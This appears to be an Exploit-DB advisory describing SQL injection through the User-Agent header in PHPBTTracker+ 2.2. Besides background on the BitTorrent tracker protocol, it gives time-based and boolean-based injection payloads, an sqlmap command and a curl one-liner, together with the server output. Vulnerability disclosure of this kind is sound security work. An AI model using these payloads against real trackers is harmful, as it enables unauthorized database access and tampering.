PHPBTTracker+ 2.2 - SQL Injection

EDB-ID:

33626

CVE:



Platform:

PHP

Published:

2014-06-03

# Exploit Title: PHPBTTracker+ 2.2 SQL Injection
# Date: May 13th, 2014
# Exploit Author: BackBox Team <info@backbox.org>
# Vendor Homepage: http://phpbttrkplus.sourceforge.net/
# Software Link: http://sourceforge.net/projects/phpbttrkplus/files/
# Version: PHPBTTracker+ 2.2
# Tested on: PHP 5.4.27, Apache 2.4.9, MySQL >= 5.0.0

========================================================================

Advisory: PHPBTTracker+ 2.2 SQL Injection
Disclosure by: BackBox Team <info@backbox.org>
Severity: High


I. INTRODUCTION
========================================================================

SQL Injection through User-Agent.

User agent is an HTTP header section provided by application used by the 
original client. This is used for statistical purposes and the protocol 
violation tracing. The first white space delimited word must include the 
product name with an optional slash and version number.

User agent injection is a critical issue for web applications. In this 
specific case it’s worthed to do an investigation on the header section 
of user-agent to see if there is any malformation that will allow an SQLi.

Example:
  GET /tracker.php
  User-Agent: Transmission/2.51' OR (SLEEP(20)) AND 'aaaa'='aaaa
  Host: [host]
  Accept: */*
  Accept-Encoding: gzip;q=1.0, deflate, identity


II. BACKGROUND
========================================================================
BitTorrent tracker protocol is used by clients to request the IP 
addresses of other peers associated with a torrent, and to exchange the 
client's transfer statistics. Clients connect to a centralized server, 
known as a *tracker*, which stores their IP addresses and responds with 
the IP addresses of other clients (also known as *peers*). The tracker 
has no knowledge about the association of the nodes and their pieces 
(it functions only as bridge between clients).

The standard tracker protocol is based on HTTP, with request data 
encoded as query parameters (as used by HTML forms) and response data 
BEncoded.

Query parameters must be encoded according to the rules for HTML form 
submissions through HTTP GET: 'reserved character' bytes are encoded in 
hexadecimal as %HH, and space is encoded as "+"; names and values are 
joined with "=" and the pairs joined with "&". 

The tracker's URL announce is obtained from the announce entry of the 
root dictionary of the torrent metadata file.

Clients announce themselves by sending a GET request to the tracker's 
URL announce with "?" and the following parameters (encoded as above) 
appended:

info_hash 
    The 20 byte sha1 hash of the bencoded form of the info value from
    the metainfo file. Note that this is a substring of the metainfo 
    file. Don't forget to URL-encode this. 

peer_id 
    A string of length 20 which the downloader uses as its id. Each 
    downloader generates its own id at random at the start of a new 
    download. Don't forget to URL-encode this. 

port 
    Port number that the peer is listening on. Common behavior is for a 
    downloader to try to listen on port 6881 and if that port is taken 
    try 6882, then 6883, etc. and give up after 6889. 

uploaded 
    Total amount uploaded so far, represented in base ten in ASCII. 

downloaded 
    Total amount downloaded so far, represented in base ten in ASCII. 

left 
    Number of bytes that a specific client still has to download, 
    represented in base ten in ASCII. Note that this can't be computed 
    from downloaded and the file length since the client might be 
    resuming an earlier download, and there is a chance that some of 
    the downloaded data failed an integrity check and had to be 
    re-downloaded. 

event 
    Optional key which maps to started, completed, or stopped (or empty, 
    which is the same as not being present). If not present, this is one 
    of the announcements done at regular intervals. An announcement 
    using started is sent when a download first begins, and one using 
    completed is sent when the download is complete. No completed is 
    sent if the file was complete when started. Downloaders should send 
    an announcement using 'stopped' when they cease downloading, 
    if they can. 

Example:
  http://hostname/announce
  ?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4
  &peer_id=
  &port=51413
  &uploaded=0
  &downloaded=0
  &left=0
  &event=started


III. DESCRIPTION
========================================================================

In order to exploit the vulnerability the torrent has to be managed by 
the tracker. First we need to extract the GET request, and parse out the
parameter "info_hash", a proxy or a traffic sniffer like Wireshark can 
help us to do that.

Example:

  GET /phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started HTTP/1.1
  User-Agent: Transmission/2.51
  Host: hostname
  Accept: */*
  Accept-Encoding: gzip;q=1.0, deflate, identity

Then it's possible to inject SQL commands inside the User-Agent field.


IV. PROOF OF CONCEPT
========================================================================
Is it possible to verify the vulnerability by using, for example, 
sqlmap or curl...

* Using SQLMap

  raffaele@backbox:~$ sqlmap -u "http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started" -o --level 3 -p user-agent
  
  [...]

  User-Agent parameter 'User-Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
  sqlmap identified the following injection points with a total of 318 HTTP(s) requests:
  ---
  Place: User-Agent
  Parameter: User-Agent
      Type: boolean-based blind
      Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
      Payload: sqlmap/1.0-dev-0f581cc (http://sqlmap.org)" RLIKE (SELECT (CASE WHEN (6960=6960) THEN 0x73716c6d61702f312e302d6465762d306635383163632028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND "mhBW"="mhBW
  ---

* Using curl

  raffaele@backbox:~$ curl "http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started" -A 'asd" OR (SLEEP(15)) AND "'

  [...]

  d8:intervali1800e12:min intervali300e5:peersld2:ip9:127.0.0.17:peer id20:4:porti51413eed2:ip9:127.0.0.17:peer id20:04:porti51413eee10:tracker id4:1131e


V. BUSINESS IMPACT
========================================================================
An attacker could execute arbitrary SQL queries on the vulnerable 
system. This may compromise the integrity of  database and/or expose 
sensitive information.


VI. SYSTEMS AFFECTED
========================================================================
PHPBTTracker+ Version 2.2 is vulnerable (probably v2.x and 
RivetTracker v1.x too)

Software Link: http://phpbttrkplus.sourceforge.net/
Tested on: PHP 5.4.27, Apache 2.4.9, MySQL >= 5.0.0


VII. REFERENCES
========================================================================
https://wiki.theory.org/BitTorrent_Tracker_Protocol
http://resources.infosecinstitute.com/sql-injection-http-headers


VIII. CREDITS
========================================================================
The vulnerability has been discovered by BackBox Linux Team
http://www.backbox.org


IX. VULNERABILITY HISTORY
========================================================================
May 13th, 2014: Vulnerability identification
May ??th, 2014: Vendor notification
May ??th, 2014: Vulnerability disclosure


X. LEGAL NOTICES
========================================================================
The information contained within this advisory is supplied "as-is" with 
no warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse
of this information.